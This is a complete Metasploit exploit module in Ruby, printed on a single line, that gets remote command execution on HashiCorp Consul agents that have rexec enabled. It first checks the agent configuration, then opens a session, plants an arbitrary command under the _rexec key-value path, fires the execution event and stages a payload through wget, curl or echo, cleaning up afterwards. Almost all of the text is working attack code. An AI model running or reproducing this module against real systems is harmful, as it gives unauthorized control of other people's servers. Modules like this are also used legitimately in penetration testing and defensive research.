Hashicorp Consul – Remote Command Execution via Rexec (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Hashicorp Consul Remote Command Execution via Rexec", 'Description' => %q{ This module exploits a feature of Hashicorp Consul named rexec. }, 'License' => MSF_LICENSE, 'Author' => [ 'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC 'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC 'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module ], 'References' => [ [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], [ 'URL', 'https://www.consul.io/docs/commands/exec.html'], [ 'URL', 'https://github.com/torque59/Garfield' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], 'Payload' => {}, 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 11 2018')) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]), OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), Opt::RPORT(8500) ]) end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "/v1/agent/self"), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end begin agent_info = JSON.parse(res.body) if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false return CheckCode::Vulnerable else return CheckCode::Safe end rescue JSON::ParserError vprint_error 'Failed to parse JSON output.' return CheckCode::Unknown end end def execute_command(cmd, opts = {}) uri = target_uri.path print_status('Creating session.') res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/session/create'), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] }, 'ctype' => 'application/json', 'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json }) if res and res.code == 200 begin sess = JSON.parse(res.body) print_status("Got rexec session ID #{sess['ID']}") rescue JSON::ParseError fail_with(Failure::Unknown, 'Failed to parse JSON output.') end end print_status("Setting command for rexec session #{sess['ID']}") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] }, 'ctype' => 'application/json', 'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json }) if res and not res.code == 200 or res.body == 'false' fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') end print_status("Triggering execution on rexec session #{sess['ID']}") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/event/fire/_rexec"), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] }, 'ctype' => 'application/json', 'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json }) if res and not res.code == 200 fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') end begin Timeout.timeout(datastore['TIMEOUT']) do res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) begin data = JSON.parse(res.body) break if data.include? 'out' rescue JSON::ParseError fail_with(Failure::Unknown, 'Failed to parse JSON output.') end sleep 2 end rescue Timeout::Error # we catch this error so cleanup still happen afterwards print_status("Timeout hit, error with payload ?") end print_status("Cleaning up rexec session #{sess['ID']}") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) if res and not res.code == 200 or res.body == 'false' fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') end res = send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) if res and not res.code == 200 or res.body == 'false' fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') end end def exploit execute_cmdstager() end end |